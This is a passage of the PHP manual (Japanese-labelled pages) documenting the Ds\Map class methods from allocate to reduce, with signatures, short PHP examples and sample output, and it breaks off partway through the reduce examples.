  • Ds\Map::capacity — Returns the current capacity
  • Ds\Map::clear — Removes all values
  • Ds\Map::__construct — Creates a new instance
  • Ds\Map::copy — Returns a shallow copy of the map
  • Ds\Map::count — Returns the number of values in the map
  • Ds\Map::diff — Creates a new map using keys that aren't in another map
  • Ds\Map::filter — Creates a new map using a callable to determine which pairs to include
  • Ds\Map::first — Returns the first pair in the map
  • Ds\Map::get — Returns the value for a given key
  • Ds\Map::hasKey — Determines whether the map contains a given key
  • Ds\Map::hasValue — Determines whether the map contains a given value
  • Ds\Map::intersect — Creates a new map by intersecting keys with another map
  • Ds\Map::isEmpty — Returns whether the map is empty
  • Ds\Map::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Map::keys — Returns a set of the map's keys
  • Ds\Map::ksort — Sorts the map in-place by key
  • Ds\Map::ksorted — Returns a copy, sorted by key
  • Ds\Map::last — Returns the last pair of the map
  • Ds\Map::map — Returns the result of applying a callback to each value
  • Ds\Map::merge — Returns the result of adding all given associations
  • Ds\Map::pairs — Returns a sequence containing all the pairs of the map
  • Ds\Map::put — Associates a key with a value
  • Ds\Map::putAll — Associates all key-value pairs of a traversable object or array
  • Ds\Map::reduce — Reduces the map to a single value using a callback function
  • Ds\Map::remove — Removes and returns a value by key
  • Ds\Map::reverse — Reverses the map in-place
  • Ds\Map::reversed — Returns a reversed copy
  • Ds\Map::skip — Returns the pair at a given positional index
  • Ds\Map::slice — Returns a subset of the map defined by a starting index and length
  • Ds\Map::sort — Sorts the map in-place by value
  • Ds\Map::sorted — Returns a copy, sorted by value
  • Ds\Map::sum — Returns the sum of all values in the map
  • Ds\Map::toArray — Converts the map to an array
  • Ds\Map::union — Creates a new map using values from the current instance and another map
  • Ds\Map::values — Returns a sequence of the map's values
  • Ds\Map::xor — Creates a new map using keys of either the current instance or of another map, but not of both

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ≪ Map
  • Ds\Map::apply ≫
  • PHP Manual
  • Map
  • Allocates enough memory for a required capacity

Ds\Map::allocate

(PECL ds >= 1.0.0)

Ds\Map::allocate — Allocates enough memory for a required capacity

説明

public Ds\Map::allocate ( int $capacity ) : void

Allocates enough memory for a required capacity.

パラメータ

capacity

The number of values for which capacity should be allocated.

注意:

Capacity will stay the same if this value is less than or equal to the current capacity.

注意:

Capacity will always be rounded up to the nearest power of 2.

返り値

値を返しません。

例

例1 Ds\Map::allocate() example

<?php
$map = new \Ds\Map();
var_dump($map->capacity());

$map->allocate(100);
var_dump($map->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(16)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Updates all values by applying a callback function to each value

  • ≪ Ds\Map::allocate
  • Ds\Map::capacity ≫
  • PHP Manual
  • Map
  • Updates all values by applying a callback function to each value

Ds\Map::apply

(PECL ds >= 1.0.0)

Ds\Map::apply — Updates all values by applying a callback function to each value

説明

public Ds\Map::apply ( callable $callback ) : void

Updates all values by applying a callback function to each value in the map.

パラメータ

callback

callback ( mixed $key , mixed $value ) : mixed

A callable to apply to each value in the map.

The callback should return what the value should be replaced by.

返り値

値を返しません。

例

例1 Ds\Map::apply() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$map->apply(function($key, $value) { return $value * 2; });

print_r($map);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 4
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 6
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ≪ Ds\Map::apply
  • Ds\Map::clear ≫
  • PHP Manual
  • Map
  • Returns the current capacity

Ds\Map::capacity

(PECL ds >= 1.0.0)

Ds\Map::capacity — Returns the current capacity

説明

public Ds\Map::capacity ( ) : int

Returns the current capacity.

パラメータ

この関数にはパラメータはありません。

返り値

The current capacity.

例

例1 Ds\Map::capacity() example

<?php
$map = new \Ds\Map();
var_dump($map->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(16)

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ≪ Ds\Map::capacity
  • Ds\Map::__construct ≫
  • PHP Manual
  • Map
  • Removes all values

Ds\Map::clear

(PECL ds >= 1.0.0)

Ds\Map::clear — Removes all values

説明

public Ds\Map::clear ( ) : void

Removes all values from the map.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\Map::clear() example

<?php
$map = new \Ds\Map([
    "a" => 1,
    "b" => 2,
    "c" => 3,
]);
print_r($map);

$map->clear();
print_r($map);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)
Ds\Map Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ≪ Ds\Map::clear
  • Ds\Map::copy ≫
  • PHP Manual
  • Map
  • Creates a new instance

Ds\Map::__construct

(PECL ds >= 1.0.0)

Ds\Map::__construct — Creates a new instance

説明

public Ds\Map::__construct ( mixed ...$values )

Creates a new instance, using either a traversable object or an array for the initial values.

パラメータ

values

A traversable object or an array to use for the initial values.

例

例1 Ds\Map::__construct() example

<?php
$map = new \Ds\Map();
var_dump($map);

$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Map)#1 (0) {
}
object(Ds\Map)#2 (3) {
  [0]=>
  object(Ds\Pair)#1 (2) {
    ["key"]=>
    string(1) "a"
    ["value"]=>
    int(1)
  }
  [1]=>
  object(Ds\Pair)#3 (2) {
    ["key"]=>
    string(1) "b"
    ["value"]=>
    int(2)
  }
  [2]=>
  object(Ds\Pair)#4 (2) {
    ["key"]=>
    string(1) "c"
    ["value"]=>
    int(3)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the map

  • ≪ Ds\Map::__construct
  • Ds\Map::count ≫
  • PHP Manual
  • Map
  • Returns a shallow copy of the map

Ds\Map::copy

(PECL ds >= 1.0.0)

Ds\Map::copy — Returns a shallow copy of the map

説明

public Ds\Map::copy ( ) : Ds\Map

Returns a shallow copy of the map.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a shallow copy of the map.

例

例1 Ds\Map::copy() example

<?php
$map = new \Ds\Map([
    "a" => 1,
    "b" => 2,
    "c" => 3,
]);

print_r($map->copy());
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the map

  • ≪ Ds\Map::copy
  • Ds\Map::diff ≫
  • PHP Manual
  • Map
  • Returns the number of values in the map

Ds\Map::count

(PECL ds >= 1.0.0)

Ds\Map::count — Returns the number of values in the map

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Creates a new map using keys that aren't in another map

  • ≪ Ds\Map::count
  • Ds\Map::filter ≫
  • PHP Manual
  • Map
  • Creates a new map using keys that aren't in another map

Ds\Map::diff

(PECL ds >= 1.0.0)

Ds\Map::diff — Creates a new map using keys that aren't in another map

説明

public Ds\Map::diff ( Ds\Map $map ) : Ds\Map

Returns the result of removing all keys from the current instance that are present in a given map.

A \ B = {x ∈ A | x ? B}

パラメータ

map

The map containing the keys to exclude in the resulting map.

返り値

The result of removing all keys from the current instance that are present in a given map.

See Also

  • » Compliment on Wikipedia

例

例1 Ds\Map::diff() example

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map(["b" => 4, "c" => 5, "d" => 6]);

var_dump($a->diff($b));
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Map)#3 (1) {
  [0]=>
  object(Ds\Pair)#4 (2) {
    ["key"]=>
    string(1) "a"
    ["value"]=>
    int(1)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Creates a new map using a callable to determine which pairs to include

  • ≪ Ds\Map::diff
  • Ds\Map::first ≫
  • PHP Manual
  • Map
  • Creates a new map using a callable to determine which pairs to include

Ds\Map::filter

(PECL ds >= 1.0.0)

Ds\Map::filter — Creates a new map using a callable to determine which pairs to include

説明

public Ds\Map::filter ( callable $callback = ? ) : Ds\Map

Creates a new map using a callable to determine which pairs to include.

パラメータ

callback

callback ( mixed $key , mixed $value ) : bool

Optional callable which returns true if the pair should be included, false otherwise.

If a callback is not provided, only values which are true (see converting to boolean) will be included.

返り値

A new map containing all the pairs for which either the callback returned true, or all values that convert to true if a callback was not provided.

例

例1 Ds\Map::filter() example using callback function

<?php
$map = new \Ds\Map(["a", "b", "c", "d", "e"]);

var_dump($map->filter(function($key, $value) {
    return $key % 2 == 0;
}));
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Map)#3 (3) {
  [0]=>
  object(Ds\Pair)#2 (2) {
    ["key"]=>
    int(0)
    ["value"]=>
    string(1) "a"
  }
  [1]=>
  object(Ds\Pair)#4 (2) {
    ["key"]=>
    int(2)
    ["value"]=>
    string(1) "c"
  }
  [2]=>
  object(Ds\Pair)#5 (2) {
    ["key"]=>
    int(4)
    ["value"]=>
    string(1) "e"
  }
}

例2 Ds\Map::filter() example without a callback function

<?php
$map = new \Ds\Map(["a" => 0, "b" => 1, "c" => true, "d" => false]);

var_dump($map->filter());
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Map)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the first pair in the map

  • ≪ Ds\Map::filter
  • Ds\Map::get ≫
  • PHP Manual
  • Map
  • Returns the first pair in the map

Ds\Map::first

(PECL ds >= 1.0.0)

Ds\Map::first — Returns the first pair in the map

説明

public Ds\Map::first ( ) : Ds\Pair

Returns the first pair in the map.

パラメータ

この関数にはパラメータはありません。

返り値

The first pair in the map.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Map::first() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->first());
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Pair)#2 (2) {
  ["key"]=>
  string(1) "a"
  ["value"]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the value for a given key

  • ≪ Ds\Map::first
  • Ds\Map::hasKey ≫
  • PHP Manual
  • Map
  • Returns the value for a given key

Ds\Map::get

(PECL ds >= 1.0.0)

Ds\Map::get — Returns the value for a given key

説明

public Ds\Map::get ( mixed $key , mixed $default = ? ) : mixed

Returns the value for a given key, or an optional default value if the key could not be found.

注意:

Keys of type object are supported. If an object implements Ds\Hashable, equality will be determined by the object's equals function. If an object does not implement Ds\Hashable, objects must be references to the same instance to be considered equal.

注意:

You can also use array syntax to access values by key, eg. $map["key"].

警告

Be careful when using array syntax. Scalar keys will be coerced to integers by the engine. For example, $map["1"] will attempt to access int(1), while $map->get("1") will correctly look up the string key.

See Arrays.

パラメータ

key

The key to look up.

default

The optional default value, returned if the key could not be found.

返り値

The value mapped to the given key, or the default value if provided and the key could not be found in the map.

エラー / 例外

OutOfBoundsException if the key could not be found and a default value was not provided.

例

例1 Ds\Map::get() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->get("a"));       // 1
var_dump($map->get("d", 10));   // 10 (default used)
?>

上の例の出力は、 たとえば以下のようになります。

int(1)
int(10)

例2 Ds\Map::get() example using array syntax

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map["a"])); // 1
?>

上の例の出力は、 たとえば以下のようになります。

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Determines whether the map contains a given key

  • ≪ Ds\Map::get
  • Ds\Map::hasValue ≫
  • PHP Manual
  • Map
  • Determines whether the map contains a given key

Ds\Map::hasKey

(PECL ds >= 1.0.0)

Ds\Map::hasKey — Determines whether the map contains a given key

説明

public Ds\Map::hasKey ( mixed $key ) : bool

Determines whether the map contains a given key.

パラメータ

key

The key to look for.

返り値

Returns true if the key could found, false otherwise.

例

例1 Ds\Map::hasKey() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->hasKey("a")); // true
var_dump($map->hasKey("e")); // false
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Determines whether the map contains a given value

  • ≪ Ds\Map::hasKey
  • Ds\Map::intersect ≫
  • PHP Manual
  • Map
  • Determines whether the map contains a given value

Ds\Map::hasValue

(PECL ds >= 1.0.0)

Ds\Map::hasValue — Determines whether the map contains a given value

説明

public Ds\Map::hasValue ( mixed $value ) : bool

Determines whether the map contains a given value.

パラメータ

value

The value to look for.

返り値

Returns true if the value could found, false otherwise.

例

例1 Ds\Map::hasValue() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->hasValue(1)); // true
var_dump($map->hasValue(4)); // false
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new map by intersecting keys with another map

  • ≪ Ds\Map::hasValue
  • Ds\Map::isEmpty ≫
  • PHP Manual
  • Map
  • Creates a new map by intersecting keys with another map

Ds\Map::intersect

(PECL ds >= 1.0.0)

Ds\Map::intersect — Creates a new map by intersecting keys with another map

説明

public Ds\Map::intersect ( Ds\Map $map ) : Ds\Map

Creates a new map containing the pairs of the current instance whose keys are also present in the given map. In other words, returns a copy of the current instance with all keys removed that are not also in the other map.

A ∩ B = {x : x ∈ A ∧ x ∈ B}

注意:

Values from the current instance will be kept.

パラメータ

map

The other map, containing the keys to intersect with.

返り値

The key intersection of the current instance and another map.

See Also

  • » Intersection on Wikipedia

例

例1 Ds\Map::intersect() example

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map(["b" => 4, "c" => 5, "d" => 6]);

var_dump($a->intersect($b));
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Map)#3 (2) {
  [0]=>
  object(Ds\Pair)#4 (2) {
    ["key"]=>
    string(1) "b"
    ["value"]=>
    int(2)
  }
  [1]=>
  object(Ds\Pair)#5 (2) {
    ["key"]=>
    string(1) "c"
    ["value"]=>
    int(3)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the map is empty

  • ≪ Ds\Map::intersect
  • Ds\Map::jsonSerialize ≫
  • PHP Manual
  • Map
  • Returns whether the map is empty

Ds\Map::isEmpty

(PECL ds >= 1.0.0)

Ds\Map::isEmpty — Returns whether the map is empty

説明

public Ds\Map::isEmpty ( ) : bool

Returns whether the map is empty.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if the map is empty, false otherwise.

例

例1 Ds\Map::isEmpty() example

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ Ds\Map::isEmpty
  • Ds\Map::keys ≫
  • PHP Manual
  • Map
  • Returns a representation that can be converted to JSON

Ds\Map::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Map::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

注意:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns a set of the map's keys

  • ≪ Ds\Map::jsonSerialize
  • Ds\Map::ksort ≫
  • PHP Manual
  • Map
  • Returns a set of the map's keys

Ds\Map::keys

(PECL ds >= 1.0.0)

Ds\Map::keys — Returns a set of the map's keys

説明

public Ds\Map::keys ( ) : Ds\Set

Returns a set containing all the keys of the map, in the same order.

パラメータ

この関数にはパラメータはありません。

返り値

A Ds\Set containing all the keys of the map.

例

例1 Ds\Map::keys() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->keys());
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Set)#2 (3) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
}

User Contributed Notes

There are no user contributed notes for this page.


Sorts the map in-place by key

  • ≪ Ds\Map::keys
  • Ds\Map::ksorted ≫
  • PHP Manual
  • Map
  • Sorts the map in-place by key

Ds\Map::ksort

(PECL ds >= 1.0.0)

Ds\Map::ksort — Sorts the map in-place by key

説明

public Ds\Map::ksort ( callable $comparator = ? ) : void

Sorts the map in-place by key, using an optional comparator function.

パラメータ

comparator

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int
警告

Returning non-integer values from the comparison function, such as float, will result in an internal cast to int of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返り値

値を返しません。

例

例1 Ds\Map::ksort() example

<?php
$map = new \Ds\Map(["b" => 2, "c" => 3, "a" => 1]);
$map->ksort();

print_r($map);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

例2 Ds\Map::ksort() example using a comparator

<?php
$map = new \Ds\Map([1 => "x", 2 => "y", 0 => "z"]);

// Reverse
$map->ksort(function($a, $b) {
    return $b <=> $a;
});

print_r($map);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => 2
            [value] => y
        )

    [1] => Ds\Pair Object
        (
            [key] => 1
            [value] => x
        )

    [2] => Ds\Pair Object
        (
            [key] => 0
            [value] => z
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns a copy, sorted by key

  • ≪ Ds\Map::ksort
  • Ds\Map::last ≫
  • PHP Manual
  • Map
  • Returns a copy, sorted by key

Ds\Map::ksorted

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Ds\Map::ksorted — Returns a copy, sorted by key

説明

public Ds\Map::ksorted ( callable $comparator = ? ) : Ds\Map

Returns a copy sorted by key, using an optional comparator function.

パラメータ

comparator

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int
警告

Returning non-integer values from the comparison function, such as float, will result in an internal cast to int of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返り値

Returns a copy of the map, sorted by key.

例

例1 Ds\Map::ksorted() example

<?php
$map = new \Ds\Map(["b" => 2, "c" => 3, "a" => 1]);

print_r($map->ksorted());
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

例2 Ds\Map::ksorted() example using a comparator

<?php
$map = new \Ds\Map([1 => "x", 2 => "y", 0 => "z"]);

// Reverse
$sorted = $map->ksorted(function($a, $b) {
    return $b <=> $a;
});

print_r($sorted);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => 2
            [value] => y
        )

    [1] => Ds\Pair Object
        (
            [key] => 1
            [value] => x
        )

    [2] => Ds\Pair Object
        (
            [key] => 0
            [value] => z
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns the last pair of the map

  • ≪ Ds\Map::ksorted
  • Ds\Map::map ≫
  • PHP Manual
  • Map
  • Returns the last pair of the map

Ds\Map::last

(PECL ds >= 1.0.0)

Ds\Map::last — Returns the last pair of the map

説明

public Ds\Map::last ( ) : Ds\Pair

Returns the last pair of the map.

パラメータ

この関数にはパラメータはありません。

返り値

The last pair of the map.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Map::last() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->last());
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Pair)#2 (2) {
  ["key"]=>
  string(1) "c"
  ["value"]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of applying a callback to each value

  • ≪ Ds\Map::last
  • Ds\Map::merge ≫
  • PHP Manual
  • Map
  • Returns the result of applying a callback to each value

Ds\Map::map

(PECL ds >= 1.0.0)

Ds\Map::map — Returns the result of applying a callback to each value

説明

public Ds\Map::map ( callable $callback ) : Ds\Map

Returns the result of applying a callback function to each value of the map.

パラメータ

callback

callback ( mixed $key , mixed $value ) : mixed

A callable to apply to each value in the map.

The callable should return what the key will be mapped to in the resulting map.

返り値

The result of applying a callback to each value in the map.

注意:

The keys and values of the current instance won't be affected.

例

例1 Ds\Map::map() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

print_r($map->map(function($key, $value) { return $value * 2; }));
print_r($map);
?>

上の例の出力は、 たとえば以下のようになります。

(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 4
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 6
        )

)
Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of adding all given associations

  • ≪ Ds\Map::map
  • Ds\Map::pairs ≫
  • PHP Manual
  • Map
  • Returns the result of adding all given associations

Ds\Map::merge

(PECL ds >= 1.0.0)

Ds\Map::merge — Returns the result of adding all given associations

説明

public Ds\Map::merge ( mixed $values ) : Ds\Map

Returns the result of associating all keys of a given traversable object or array with their corresponding values, combined with the current instance.

注意:

Values of the current instance will be overwritten by those provided where keys are equal.

パラメータ

values

A traversable object or an array.

返り値

The result of associating all keys of a given traversable object or array with their corresponding values, combined with the current instance.

注意:

The current instance won't be affected.

例

例1 Ds\Map::merge() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

print_r($map->merge(["a" => 10, "e" => 50]));
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 10
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

    [3] => Ds\Pair Object
        (
            [key] => e
            [value] => 50
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sequence containing all the pairs of the map

  • ≪ Ds\Map::merge
  • Ds\Map::put ≫
  • PHP Manual
  • Map
  • Returns a sequence containing all the pairs of the map

Ds\Map::pairs

(PECL ds >= 1.0.0)

Ds\Map::pairs — Returns a sequence containing all the pairs of the map

説明

public Ds\Map::pairs ( ) : Ds\Sequence

Returns a Ds\Sequence containing all the pairs of the map.

パラメータ

この関数にはパラメータはありません。

返り値

Ds\Sequence containing all the pairs of the map.

例

例1 Ds\Map::pairs() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->pairs());
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Map)#8 (3) {
  [0]=>
  object(Ds\Pair)#5 (2) {
    ["key"]=>
    string(1) "a"
    ["value"]=>
    int(1)
  }
  [1]=>
  object(Ds\Pair)#6 (2) {
    ["key"]=>
    string(1) "b"
    ["value"]=>
    int(2)
  }
  [2]=>
  object(Ds\Pair)#7 (2) {
    ["key"]=>
    string(1) "c"
    ["value"]=>
    int(3)
  }
}
p

User Contributed Notes

There are no user contributed notes for this page.


Associates a key with a value

  • ≪ Ds\Map::pairs
  • Ds\Map::putAll ≫
  • PHP Manual
  • Map
  • Associates a key with a value

Ds\Map::put

(PECL ds >= 1.0.0)

Ds\Map::put — Associates a key with a value

説明

public Ds\Map::put ( mixed $key , mixed $value ) : void

Associates a key with a value, overwriting a previous association if one exists.

注意:

Keys of type object are supported. If an object implements Ds\Hashable, equality will be determined by the object's equals function. If an object does not implement Ds\Hashable, objects must be references to the same instance to be considered equal.

注意:

You can also use array syntax to associate values by key, eg. $map["key"] = $value.

警告

Be careful when using array syntax. Scalar keys will be coerced to integers by the engine. For example, $map["1"] will attempt to access int(1), while $map->get("1") will correctly look up the string key.

See Arrays.

パラメータ

key

The key to associate the value with.

value

The value to be associated with the key.

返り値

値を返しません。

例

例1 Ds\Map::put() example

<?php
$map = new \Ds\Map();

$map->put("a", 1);
$map->put("b", 2);
$map->put("c", 3);

print_r($map);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

例2 Ds\Map::put() example using objects as keys

<?php
class HashableObject implements \Ds\Hashable
{
    /**
     * An arbitrary value to use as the hash value. Does not define equality.
     */
    private $value;

    public function __construct($value)
    {
        $this->value = $value;
    }

    public function hash()
    {
        return $this->value;
    }

    public function equals($obj): bool
    {
        return $this->value === $obj->value;
    }
}

$map = new \Ds\Map();

$obj = new \ArrayIterator([]);

// Using the same instance multiple times will overwrite the previous value.
$map->put($obj, 1);
$map->put($obj, 2);

// Using multiple instances of the same object will create new associations.
$map->put(new \stdClass(), 3);
$map->put(new \stdClass(), 4);

// Using multiple instances of equal hashable objects will overwrite previous values.
$map->put(new \HashableObject(1), 5);
$map->put(new \HashableObject(1), 6);
$map->put(new \HashableObject(2), 7);
$map->put(new \HashableObject(2), 8);

var_dump($map);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Map)#1 (5) {
  [0]=>
  object(Ds\Pair)#7 (2) {
    ["key"]=>
    object(ArrayIterator)#2 (1) {
      ["storage":"ArrayIterator":private]=>
      array(0) {
      }
    }
    ["value"]=>
    int(2)
  }
  [1]=>
  object(Ds\Pair)#8 (2) {
    ["key"]=>
    object(stdClass)#3 (0) {
    }
    ["value"]=>
    int(3)
  }
  [2]=>
  object(Ds\Pair)#9 (2) {
    ["key"]=>
    object(stdClass)#4 (0) {
    }
    ["value"]=>
    int(4)
  }
  [3]=>
  object(Ds\Pair)#10 (2) {
    ["key"]=>
    object(HashableObject)#5 (1) {
      ["value":"HashableObject":private]=>
      int(1)
    }
    ["value"]=>
    int(6)
  }
  [4]=>
  object(Ds\Pair)#11 (2) {
    ["key"]=>
    object(HashableObject)#6 (1) {
      ["value":"HashableObject":private]=>
      int(2)
    }
    ["value"]=>
    int(8)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Associates all key-value pairs of a traversable object or array

  • ≪ Ds\Map::put
  • Ds\Map::reduce ≫
  • PHP Manual
  • Map
  • Associates all key-value pairs of a traversable object or array

Ds\Map::putAll

(PECL ds >= 1.0.2)

Ds\Map::putAll — Associates all key-value pairs of a traversable object or array

説明

public Ds\Map::putAll ( mixed $pairs ) : void

Associates all key-value pairs of a traversable object or array.

注意:

Keys of type object are supported. If an object implements Ds\Hashable, equality will be determined by the object's equals function. If an object does not implement Ds\Hashable, objects must be references to the same instance to be considered equal.

パラメータ

pairs

traversable object or array.

返り値

値を返しません。

例

例1 Ds\Map::putAll() example

<?php
$map = new \Ds\Map();

$map->putAll([
    "a" => 1,
    "b" => 2,
    "c" => 3,
]);

print_r($map);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Reduces the map to a single value using a callback function

  • ≪ Ds\Map::putAll
  • Ds\Map::remove ≫
  • PHP Manual
  • Map
  • Reduces the map to a single value using a callback function

Ds\Map::reduce

(PECL ds >= 1.0.0)

Ds\Map::reduce — Reduces the map to a single value using a callback function

説明

public Ds\Map::reduce ( callable $callback , mixed $initial = ? ) : mixed

Reduces the map to a single value using a callback function.

パラメータ

callback
callback ( mixed $carry , mixed $key , mixed $value ) : mixed
carry

The return value of the previous callback, or initial if it's the first iteration.

key

The key of the current iteration.

value

The value of the current iteration.

initial

The initial value of the carry value. Can be null.

返り値

The return value of the final callback.

例

例1 Ds\Map::reduce() with initial value example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

$callback = function($carry, $key, $value) {
    return $carry * $value;
};

var_dump($map->reduce($callback, 5));

// Iterations:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 =  5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

上の例の出力は、 たとえば以下のようになります。

int(30)

例2 Ds\Map::reduce() without an initial value example

<?php
